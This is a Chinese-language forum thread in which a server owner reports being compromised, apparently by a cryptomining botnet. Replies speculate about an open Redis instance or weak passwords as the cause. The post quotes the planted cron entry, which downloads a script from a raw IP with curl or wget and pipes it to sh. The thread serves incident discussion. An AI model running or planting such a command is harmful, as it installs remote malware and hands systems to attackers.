我也中招了，服务器被抓肉鸡了

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

这是一个创建于 1820 天前的主题，其中的信息可能已经有所发展或是发生改变。

cron 里被植入：

*/15 * * * * (/usr/bin/qjowfa8||/usr/libexec/qjowfa8||/usr/local/bin/qjowfa8||/tmp/qjowfa8||curl -m180 -fsSL http://157.245.59.230:8000/i.sh||wget -q -T180 -O- http://157.245.59.230:8000/i.sh) | sh

大佬们有什么头绪吗?大概是个挖矿脚本？重装 ing....

4 条回复 • 2019-12-31 11:59:59 +08:00

R18

2019-12-31 11:16:55 +08:00

Redis 开了公网没密码

luvroot

2019-12-31 11:28:18 +08:00

/usr/bin/qjowfa8 把这个搞下来看一下

densuc

2019-12-31 11:48:45 +08:00

@R18 可能是我 root 密码太弱的原因，我没有安装 Redis。。。

@luvroot 我已经重装了。。。不过在新系统上运行了，好像暂时是个空文件，可能要挖矿后才会写入？

jasonyang9

2019-12-31 11:59:59 +08:00

类似的，前天在家里弄了台旧笔记本配上 CentOS 7，PPPoE 拨号，IP Forwarding 和 Masquerading，当然还有 Firewalld，充当路由器玩玩的，帐密登录，心想第二天再改 RSA 密钥登录吧，想不到当晚就被黑了。早上起来看到 CPU 基本泡满，哈哈，还好家里其它设备没影响。立马下线重装。。。